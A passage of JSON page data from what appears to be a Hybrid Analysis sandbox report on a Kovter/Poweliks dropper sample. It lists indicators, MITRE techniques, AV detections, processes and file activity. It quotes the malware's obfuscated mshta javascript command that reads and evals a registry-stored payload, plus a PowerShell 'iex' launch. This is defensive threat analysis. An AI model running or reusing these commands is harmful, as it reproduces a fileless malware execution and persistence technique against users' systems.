00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"ModuleAnalysisCache\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache]- [targetUID: 00000000-00003436]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00003436]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"Found string \"GetPrivateProfileStringA\" (Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268, API is part of module: KERNEL32.DLL)","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"DISMHOST.EXE.6C8DE937.bin\" was detected as \"Visual C++ 2005 Release -> Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Queries kernel debugger information","description":"\"mshta.exe\" at 00000000-00003516-00000105-2243311\n \"powershell.exe\" at 00000000-00003436-00000105-1761360","origin":"API Call","mitre_attack_id":"T1622","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Uses a Windows Living Off The Land Binaries (LOL bins)","description":"Process \"%WINDIR%\\system32\\mshta.exe\" launched with commandline \"javascript:wULGQ7cv=\"i\";oP25=new%20ActiveXObject(\"WScript.Shell\");k9ucq8YmG=\"1w93T0B\";Z1iZp=oP25.RegRead(\"HKCU\\\\\\\\software\\\\\\\\O3ZAC8p6\\\\\\\\q80eQZg\");wHn6PWoz=\"3IWn79w\";eval(Z1iZp);FqzehO81=\"5aGTYUI\";\" (UID: 00000000-00003516)","origin":"Monitored Target","relevance":3,"id":"target-411","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268\" has section name .data! with entropy \"7.885205766850352\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"17/24 Antivirus vendors marked sample as malicious (70% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"LockResource@KERNEL32.dll at 25556-749-00408D6B\n LoadResource@KERNEL32.dll at 25556-786-0040B4F8\n LockResource@KERNEL32.dll at 25556-857-0040E4EB\n LockResource@KERNEL32.dll at 25556-1169-00402B31\n SizeofResource@KERNEL32.dll at 25556-1434-0040B65E","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1005","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"DISMHOST.EXE.6C8DE937.bin\" has type \"PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections\"- [targetUID: N/A]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – Anomalous PE file structure","description":"YARA signature for null IAT Directory of PE process \"00000000-00005964\"\n YARA signature for null IAT Directory of PE file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":1,"id":"yara-153","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Contains ability to update the user profile","description":"SystemParametersInfoA@USER32.dll at 25556-934-00409020\n SystemParametersInfoA@USER32.dll at 25556-1080-00407B80\n SystemParametersInfoA@USER32.dll at 25556-1320-00409710","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1098","relevance":5,"id":"stream-123","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"ROOT\\CIMV2\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00005964.00000003.86793.00640000.00000004.mdmp, 00000000-00005964.00000003.86793.01E40000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\1aw0kasd.prp.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\alkk0qkz.khf.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\1aw0kasd.prp.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\alkk0qkz.khf.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268\" claimed CRC 407742 while the actual is CRC 368770","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268\" has an entrypoint in section \".text!\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"LookupAccountNameW\n RegCreateKeyExW\n OpenProcessToken\n RegDeleteKeyW\n RegEnumKeyExW\n RegCloseKey\n RegOpenKeyW\n RegEnumKeyW\n RegOpenKeyExW\n GetProcAddress\n GetModuleFileNameA\n GetStartupInfoA\n GetModuleFileNameW\n CreateFileW\n GetModuleHandleW\n GetFileAttributesW\n GetModuleHandleA\n CreateFileA\n LoadLibraryW\n LoadLibraryA\n IsDebuggerPresent\n GetVersionExA\n GetCommandLineW\n LoadLibraryExW\n FindNextFileW\n FindResourceW\n GetVersionExW\n Sleep\n LockResource\n FindFirstFileW\n WriteFile\n GetCursorPos\n GetLastActivePopup\n GetWindowThreadProcessId\n SetWindowsHookExW\n WNetOpenEnumW\n SetSecurityDescriptorDacl\n OutputDebugStringW\n GetTickCount\n TerminateProcess\n GetSystemDirectoryW\n FindResourceExW\n GetModuleHandleExW\n CreateThread\n MapViewOfFile\n CreateFileMappingW\n OutputDebugStringA\n UnhandledExceptionFilter","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Detected mshta.exe process execution","description":"Process \"mshta.exe\" with commandline \"javascript:wULGQ7cv=\"i\";oP25=new%20ActiveXObject(\"WScript.Shell\");k9ucq8YmG=\"1w93T0B\";Z1iZp=oP25.RegRead(\"HKCU\\\\\\\\software\\\\\\\\O3ZAC8p6\\\\\\\\q80eQZg\");wHn6PWoz=\"3IWn79w\";eval(Z1iZp);FqzehO81=\"5aGTYUI\";\" (UID: 00000000-00003516)","origin":"Monitored Target","mitre_attack_id":"T1218.005","relevance":10,"id":"target-113","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"malicious","category":"Exploit/Shellcode","name":"Writes shellcode to a remote process","description":"Wrote 830 instructions to a remote process\n Wrote 4 instructions to a remote process\n Wrote 7 instructions to a remote process\n Wrote 8 instructions to a remote process\n Wrote 9 instructions to a remote process\n Wrote 11 instructions to a remote process","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1055","relevance":8,"id":"stream-38","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"17/24 Antivirus vendors marked sample as malicious (70% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"malicious","category":"General","name":"Powershell script shows a combination of malicious behavior","description":"Hidden commandline payload with suspicious keywords","origin":"Indicator Combinations","mitre_attack_id":"T1059.001","relevance":10,"id":"summary-18","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"malicious","category":"Installation/Persistence","name":"Found shellcode in interpreted commandline","description":"$56","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":10,"id":"target-44","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Creates new processes"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Queries kernel debugger information"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Marks file for deletion"},{"detail":"Contains ability to adjust token privileges"},{"detail":"Contains ability to terminate a process"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"Detected mshta.exe process execution"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Able to discover network shares"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]}],"intel_graph":{"map":{"File:55a3fd435cabc739c5061cb93b3024d143e8cfd94cc587edef97270fc6d4f5c6":{"type":"File","value":"55a3fd435cabc739c5061cb93b3024d143e8cfd94cc587edef97270fc6d4f5c6"},"File:5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268":{"type":"File","value":"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268","verdict":{"verdict":"malicious","verdict_source":"indicator database","reasons":["confirmed malicious file","confirmed relationship with a Threat Kovter"]},"filetype":"PE32 executable (GUI) Intel 80386, for MS Windows, 8 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:98982e464985906e58496475f7e5e2f3216167eab1e18870917d6cf1ebe9415d":{"type":"File","value":"98982e464985906e58496475f7e5e2f3216167eab1e18870917d6cf1ebe9415d"},"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf":{"type":"File","value":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"},"File:ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11":{"type":"File","value":"ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11"},"Threat:dda487e8fc4e4b2193bfbb53ac3d0ceb266e4cc40cafdf29a721c4caf08bd63e":{"type":"Threat","value":"Kovter","verdict":{"verdict":"malicious","verdict_source":"indicator database"}}},"chains":[{"id":"1543773150751355043","root":"File:5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268","edges":[],"verdict":{"verdict":"malicious","verdict_source":"indicator database","reasons":["confirmed malicious file","confirmed relationship with a Threat Kovter"]}},{"id":"1543773150747160738","root":"File:5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268","edges":[{"edge_kind":"in_crowdstrike_knowledge_database","from_key":"File:5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268","to_key":"Threat:dda487e8fc4e4b2193bfbb53ac3d0ceb266e4cc40cafdf29a721c4caf08bd63e"}],"verdict":{"verdict":"malicious","verdict_source":"indicator database"}},{"id":"sandbox_files","root":"File:5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268","edges":[{"edge_kind":"extracted","from_key":"File:5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268","to_key":"File:ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11"},{"edge_kind":"extracted","from_key":"File:5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268","to_key":"File:98982e464985906e58496475f7e5e2f3216167eab1e18870917d6cf1ebe9415d"},{"edge_kind":"extracted","from_key":"File:5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268","to_key":"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"},{"edge_kind":"extracted","from_key":"File:5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268","to_key":"File:55a3fd435cabc739c5061cb93b3024d143e8cfd94cc587edef97270fc6d4f5c6"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":3,"spawned_processes_count":3,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":4,"imported_dlls_count":143,"dropped_files_count":0,"extracted_files_count":4,"files_written_count":6,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["hyteod","kovter","stealer","kryptik","criminal","ransomware","clickfraud","wowlik"],"sample_flags":["Multi-Process","Extracted Files"],"sandbox_reports":[{"id":"6a8d013343b5f855fd09bcf0","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Poweliks.Dropper","submit_name":"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268","analysis_start_time":"2026-08-25T02:43:00+00:00","indicators_count":{"informative":231,"suspicious":47,"malicious":6},"tags":["Multi-Process","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}],"processes":[{"pid":5964,"ppid":0,"name":"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe","command_line":"","sha256":"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268","normalized_path":"C:\\5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe","uid":"00000000-00005964","icon":"$57"},{"pid":3516,"ppid":0,"name":"mshta.exe","command_line":"javascript:wULGQ7cv=\"i\";oP25=new%20ActiveXObject(\"WScript.Shell\");k9ucq8YmG=\"1w93T0B\";Z1iZp=oP25.RegRead(\"HKCU\\\\software\\\\O3ZAC8p6\\\\q80eQZg\");wHn6PWoz=\"3IWn79w\";eval(Z1iZp);FqzehO81=\"5aGTYUI\";","sha256":"949485ba939953642714ae6831d7dcb261691cac7cbb8c1a9220333801f60820","normalized_path":"%WINDIR%\\system32\\mshta.exe","uid":"00000000-00003516","icon":"$58"},{"pid":3436,"ppid":3516,"name":"powershell.exe","command_line":"iex $env:wsxx","sha256":"70ba57fb0bf2f34b86426d21559f5f6d05c1268193904de8e959d7b06ce964ce","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003516","uid":"00000000-00003436"}],"all_imported_dlls":["api-ms-win-crt-environment-l1-1-0.dll","iertutil.dll","wsock32.dll","comctl32.dll","cryptsp.dll","oleaccrc.dll","xmllite.dll","dxgi.dll","wkscli.dll","gdi32.dll","oleaut32.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","winmm.dll","clbcatq.dll","RpcRtRemote.dll","msisip.dll","msvcp140.dll","api-ms-win-crt-filesystem-l1-1-0.dll","Microsoft.Management.Infrastructure.ni.dll","api-ms-win-core-localization-l1-2-0.dll","wtsapi32.dll","fltLib.dll","api-ms-win-crt-utility-l1-1-0.dll","propsys.dll","System.Configuration.Install.ni.dll","netutils.dll","msvcrt.dll","ntdsapi.dll","wintrust.dll","msasn1.dll","netapi32.dll","advapi32.dll","nsi.dll","api-ms-win-core-file-l1-2-0.dll","ntdll.dll","KernelBase.dll","normaliz.dll","fastprox.dll","cfgmgr32.dll","api-ms-win-crt-stdio-l1-1-0.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","imm32.dll","api-ms-win-crt-runtime-l1-1-0.dll","cryptbase.dll","nlssorting.dll","System.Transactions.dll","sechost.dll","VxSSL32.dll","api-ms-win-core-synch-l1-2-0.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","wbemprox.dll","setupapi.dll","api-ms-win-core-xstate-l2-1-0.dll","api-ms-win-crt-convert-l1-1-0.dll","version.dll","shell32.dll","secur32.dll","ucrtbase.dll","api-ms-win-core-timezone-l1-1-0.dll","wininet.dll","profapi.dll","psapi.dll","mscorlib.ni.dll","System.Management.Automation.ni.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","System.Core.ni.dll","ole32.dll","api-ms-win-crt-time-l1-1-0.dll","wbemsvc.dll","d3d11.dll","d3d10warp.dll","pwrshsip.dll","ntmarta.dll","d2d1.dll","vcruntime140_clr0400.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","msctf.dll","rpcss.dll","msls31.dll","vm3dum_loader.dll","System.Configuration.ni.dll","msimtf.dll","jscript9.dll","apphelp.dll","System.Data.dll","mscoreei.dll","devobj.dll","System.ni.dll","System.Management.Automation.dll","Microsoft.PowerShell.Security.ni.dll","Microsoft.CSharp.ni.dll","oleacc.dll","Wldap32.dll","rpcrt4.dll","user32.dll","usp10.dll","api-ms-win-crt-string-l1-1-0.dll","userenv.dll","bcrypt.dll","api-ms-win-crt-locale-l1-1-0.dll","api-ms-win-crt-math-l1-1-0.dll","dwmapi.dll","scrrun.dll","mshtml.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","mscorrc.dll","System.Data.ni.dll","vcruntime140.dll","api-ms-win-downlevel-user32-l1-1-0.dll","uxtheme.dll","ucrtbase_clr0400.dll","wshext.dll","System.Xml.ni.dll","System.Management.ni.dll","System.DirectoryServices.ni.dll","kernel32.dll","srvcli.dll","logoncli.dll","sspicli.dll","api-ms-win-crt-heap-l1-1-0.dll","rsaenh.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","clrjit.dll","lpk.dll","api-ms-win-core-processthreads-l1-1-1.dll","atl.dll","System.Numerics.ni.dll","diasymreader.dll","mpr.dll","api-ms-win-core-file-l2-1-0.dll","shlwapi.dll","sxs.dll","mscoree.dll","samcli.dll","api-ms-win-downlevel-version-l1-1-0.dll","crypt32.dll","System.Transactions.ni.dll","ws2_32.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","urlmon.dll","DWrite.dll","wbemcomn2.dll","clr.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"DISMHOST.EXE.6C8DE937.bin","sha256":"ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"name":"ModuleAnalysisCache","sha256":"98982e464985906e58496475f7e5e2f3216167eab1e18870917d6cf1ebe9415d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"name":"dism.log","sha256":"55a3fd435cabc739c5061cb93b3024d143e8cfd94cc587edef97270fc6d4f5c6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]}],"files_written":[{"path":"%TEMP%\\1aw0kasd.prp.ps1","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"path":"%TEMP%\\alkk0qkz.khf.psm1","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\!IECompat!Mutex","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]}]}},"report_ids":{"sandbox_job_ids":["6a8d013343b5f855fd09bcf0"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Poweliks.Dropper.Generic Sample 5acd0b023bd7… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 5acd0b023bd7…. Malware family: Poweliks.Dropper.Generic. Threat score 100/100. 18/24 AV engines flagged this file. 8 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268"}],["$","meta","4",{"property":"og:title","content":"Malicious Poweliks.Dropper.Generic Sample 5acd0b023bd7… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 5acd0b023bd7…. Malware family: Poweliks.Dropper.Generic. Threat score 100/100. 18/24 AV engines flagged this file. 8 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Poweliks.Dropper.Generic Sample 5acd0b023bd7… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 5acd0b023bd7…. Malware family: Poweliks.Dropper.Generic. Threat score 100/100. 18/24 AV engines flagged this file. 8 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L59","11",{}]]